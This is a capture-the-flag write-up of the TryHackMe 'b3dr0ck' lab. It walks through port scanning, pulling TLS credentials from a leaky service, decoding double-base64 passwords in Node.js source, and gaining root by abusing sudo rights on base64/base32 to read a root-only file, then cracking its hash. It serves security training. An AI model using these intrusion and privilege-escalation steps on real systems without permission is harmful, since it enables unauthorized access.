Intro⌗

THM: b3dr0ck is a Flintstones themed boot to root challenge that fairly straightforward and mostly involves enumeration. We’ll start by exploring the open services on the box and leaking credentials in order to gain a foothold. Once on the box we will continue with our enumeration by looking through some of the code for the leaky service in order to get the password for and pivot to another low-privilege user. Finally we’ll get a root shell by deobfuscating a password hash and finding the plaintext in a rainbow table.

Recon⌗

This room provides some recon info for us up front:

Barney is setting up the ABC webserver, and trying to use TLS certs to secure connections, but he’s having trouble. Here’s what we know…
He was able to establish nginx on port 80, redirecting to a custom TLS webserver on port 4040
There is a TCP socket listening with a simple service to help retrieve TLS credential files (client key & certificate)
There is another TCP (TLS) helper service listening for authorized connections using files obtained from the above service

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/b3dr0ck]                                                               
└─$ rustscan -a 10.10.246.59 -- -sV -oA nmap1                                                                  

PORT      STATE SERVICE      REASON  VERSION
22/tcp    open  ssh          syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         syn-ack nginx 1.18.0 (Ubuntu)
4040/tcp  open  ssl/yo-main? syn-ack
9009/tcp  open  pichat?      syn-ack
54321/tcp open  ssl/unknown  syn-ack

Checking port 80 in a browsers does indeed redirect to port 4040 as the room hint says. And we’re given another hint on the index page:

Welcome to ABC!

Abbadabba Broadcasting Compandy

We’re in the process of building a website! Can you believe this technology exists in bedrock?!?

Barney is helping to setup the server, and he said this info was important…

Hey, it’s Barney. I only figured out nginx so far, what the h3ll is a database?!? Bamm Bamm tried to setup a sql database, but I don’t see it running. Looks like it started something else, but I’m not sure how to turn it off…

He said it was from the toilet and OVER 9000!

Need to try and secure connections with certificates…

So we know ports 80 and 4040 are HTTP services, one of the remaining services is for retrieving credentials, and the last service is listening for connections with those creds.

Let’s try connecting to the service on port 9009.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/b3dr0ck]
└─$ telnet 10.10.246.59 9009
Trying 10.10.246.59...
Connected to 10.10.246.59.
Escape character is '^]'.

 __          __  _                            _                   ____   _____ 
 \ \        / / | |                          | |            /\   |  _ \ / ____|
  \ \  /\  / /__| | ___ ___  _ __ ___   ___  | |_ ___      /  \  | |_) | |     
   \ \/  \/ / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \    / /\ \ |  _ <| |     
    \  /\  /  __/ | (_| (_) | | | | | |  __/ | || (_) |  / ____ \| |_) | |____ 
     \/  \/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/  /_/    \_\____/ \_____|
                                                                               
                                                                               
What are you looking for? help
Looks like the secure login service is running on port: 54321

Try connecting using:
socat stdio ssl:MACHINE_IP:54321,cert=<CERT_FILE>,key=<KEY_FILE>,verify=0
What are you looking for?

Aha, so this must be the service that has the creds, as it’s telling us to use socat to connect to port 54321 with the certificate and key files.

We can simply input certificate and key at the prompt to retrieve those files.

Retrieving certificate and key files from the service on port 9009

After saving those creds we can then use them to connect to the service on 54321.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/b3dr0ck]
└─$ socat stdio ssl:10.10.246.59:54321,cert=bedrock.cert,key=bedrock.key,verify=0

 __     __   _     _             _____        _     _             _____        _ 
 \ \   / /  | |   | |           |  __ \      | |   | |           |  __ \      | |
  \ \_/ /_ _| |__ | |__   __ _  | |  | | __ _| |__ | |__   __ _  | |  | | ___ | |
   \   / _` | '_ \| '_ \ / _` | | |  | |/ _` | '_ \| '_ \ / _` | | |  | |/ _ \| |
    | | (_| | |_) | |_) | (_| | | |__| | (_| | |_) | |_) | (_| | | |__| | (_) |_|
    |_|\__,_|_.__/|_.__/ \__,_| |_____/ \__,_|_.__/|_.__/ \__,_| |_____/ \___/(_)
                                                                                 
                                                                                 

Welcome: 'Barney Rubble' is authorized.
b3dr0ck>

Now we have to figure out what this service is..

b3dr0ck> help
Password hint: d1ad7[...REDACTED...]4180dd (user = 'Barney Rubble')
b3dr0ck> ls
Unrecognized command: 'ls'

This service is for login and password hints

Initial Foothold⌗

It’s not exactly clear what that password hint is for. It looks like a hash, but as it turns out, it’s actually Barney’s password in plaintext.

We can use it to SSH to the box as Barney.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/b3dr0ck]
└─$ ssh barney@10.10.246.59              
barney@10.10.246.59's password: 

barney@b3dr0ck:~$ whoami
barney

barney@b3dr0ck:~$ uname -a
Linux b3dr0ck 5.4.0-109-generic #123-Ubuntu SMP Fri Apr 8 09:10:54 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

And in Barney’s home directory we’ll find the user flag.

barney@b3dr0ck:~$ ls -la
total 28
drwxr-xr-x 3 barney barney 4096 Apr 30 21:42 .
drwxr-xr-x 4 root   root   4096 Apr 10 00:18 ..
-rw------- 1 barney barney   38 Apr 29 06:34 barney.txt
lrwxrwxrwx 1 barney barney    9 Apr 28 06:51 .bash_history -> /dev/null
-rw-r--r-- 1 barney barney  220 Apr 10 00:18 .bash_logout
-rw-r--r-- 1 barney barney 3771 Apr 10 00:18 .bashrc
drwx------ 2 barney barney 4096 Apr 30 21:55 .cache
-rw-r--r-- 1 root   root      0 Apr 30 21:42 .hushlogin
-rw-r--r-- 1 barney barney  807 Apr 10 00:18 .profile
lrwxrwxrwx 1 root   root      9 Apr 29 06:31 .viminfo -> /dev/null
barney@b3dr0ck:~$ wc -c barney.txt 
38 barney.txt

Our next target is Fred’s account. Let’s first check if Barney has sudo rights.

barney@b3dr0ck:~$ sudo -l
[sudo] password for barney: 
Matching Defaults entries for barney on b3dr0ck:
    insults, env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User barney may run the following commands on b3dr0ck:
    (ALL : ALL) /usr/bin/certutil

So let’s take a look at certutil.

barney@b3dr0ck:/usr/share/abc/dist$ ls -la /usr/bin/certutil
lrwxrwxrwx 1 root root 27 Apr 29 05:23 /usr/bin/certutil -> /usr/share/abc/bin/certutil
barney@b3dr0ck:~$ file /usr/share/abc/bin/certutil 
/usr/share/abc/bin/certutil: Node.js script, ASCII text executable

It’s symlinked to a NodeJS script. Viewing the code we can see all it does is import code from another file called certs.js.

There is also a server.js file in the same directory. Both files are minified and difficult to read as is.

We can run python3 -m http.server 8888 to stand up a simple HTTP server that will allow us to download these files locally where we can open them in a code editor and pretty print them to make them more readable.

In server.js there are a few lines that stand out:

var dd = function (s) {
  return Buffer.from(Buffer.from(s, "base64").toString(), "base64").toString();
};
var BIND_HOST = "0.0.0.0";
var WEB_PORT = 4040;
var ABC_PORT = 9009;
var SEC_PORT = 54321;
var ABC_PROMPT = "\nWhat are you looking for? ";
var SEC_PROMPT = "\nb3dr0ck> ";
var FRED_SEC = dd("V1dGaVltRkVZV0ppWVVRd01EQXdJUW89Cg==");
var BARNEY_SEC = dd(
  "WkRGaFpEZGpNR0V6T0RBMU9UVTFZVE0xWldJeU5qQmtZV0kwTVRnd1pHUT0="
);

It contains the passwords for Fred and Barney, they’re just double base64 encoded and thus easily reversible.

With that, we can pivot to Fred’s user and grab the next flag.

barney@b3dr0ck:/usr/share/abc$ su fred
Password: 

fred@b3dr0ck:/usr/share/abc$ id
uid=1000(fred) gid=1000(fred) groups=1000(fred),24(cdrom),30(dip),46(plugdev),1002(help)

fred@b3dr0ck:/usr/share/abc$ cd ~
fred@b3dr0ck:~$ wc -c fred.txt 
38 fred.txt

Privilege Escalation⌗

Let’s check Fred’s sudo privileges as well.

fred@b3dr0ck:~$ sudo -l
Matching Defaults entries for fred on b3dr0ck:
    insults, env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User fred may run the following commands on b3dr0ck:
    (ALL : ALL) NOPASSWD: /usr/bin/base32 /root/pass.txt
    (ALL : ALL) NOPASSWD: /usr/bin/base64 /root/pass.txt

We can get the content of /root/pass.txt by base64 encoding it and then immediately decoding it.

fred@b3dr0ck:~$ sudo /usr/bin/base64 /root/pass.txt | base64 -d
LFKEC52ZKRCXSWKXIZVU43KJGNMXURJSLFWVS52OPJAXUTLNJJVU2RCWNBGXURTLJZKFSSYK

Hmm, that still looks encoded though.

After playing around with some combinations base32 and base64 decoding, we can finally get it down to a MD5 hash.

fred@b3dr0ck:~$ sudo /usr/bin/base32 /root/pass.txt | base32 -d | base32 -d | base64 -d
a00a1[...REDACTED...]1d56

And we can take the hash and run it through crackstation to reveal the plaintext password for root.

fred@b3dr0ck:~$ su -
Password: 

root@b3dr0ck:~# cd /root
root@b3dr0ck:~# ls -la
total 88
drwx------  4 root root  4096 Apr 30 21:52 .
drwxr-xr-x 19 root root  4096 Apr  9 20:08 ..
lrwxrwxrwx  1 root root     9 Apr 28 06:47 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Dec  5  2019 .bashrc
-rw-------  1 root root    73 Apr 11 00:45 pass.txt
-rw-r--r--  1 root root   161 Dec  5  2019 .profile
-rw-------  1 root root    38 Apr 29 06:29 root.txt
drwx------  3 root root  4096 Apr  9 20:11 snap
drwx------  2 root root  4096 Apr 29 06:30 .ssh
-rw-rw-rw-  1 root root 54143 Apr 30 21:52 .viminfo

root@b3dr0ck:~# wc -c root.txt 
38 root.txt